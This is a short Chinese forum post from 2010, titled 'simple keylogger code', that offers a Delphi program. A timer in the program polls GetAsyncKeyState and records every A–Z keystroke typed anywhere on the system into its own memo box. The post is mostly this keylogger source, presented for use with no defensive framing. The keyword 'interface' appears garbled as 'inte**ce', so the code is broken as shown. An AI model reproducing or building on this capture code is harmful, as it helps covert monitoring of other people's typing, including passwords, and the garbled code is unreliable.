邮差 发表于 2010-9-17 11:16:47

键盘记录简单代码

unit Unit1;

inte**ce

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ExtCtrls;

type
TForm1 = class(TForm)
    Timer1: TTimer;
    Memo1: TMemo;
    procedure Timer1Timer(Sender: TObject);
private
    { Private declarations }
public
    { Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Timer1Timer(Sender: TObject);
var
i: integer;
begin
for i:=65 To 90 do
begin
    if (GetAsyncKeyState(i)=-32767) then
      if (i>=65) and (i<=90) then
      memo1.Text:=memo1.Text+Char(i);
end;
end;

end.
页: [1]
查看完整版本: 键盘记录简单代码

请大家牢记南瓜园网址 www.nan2008.com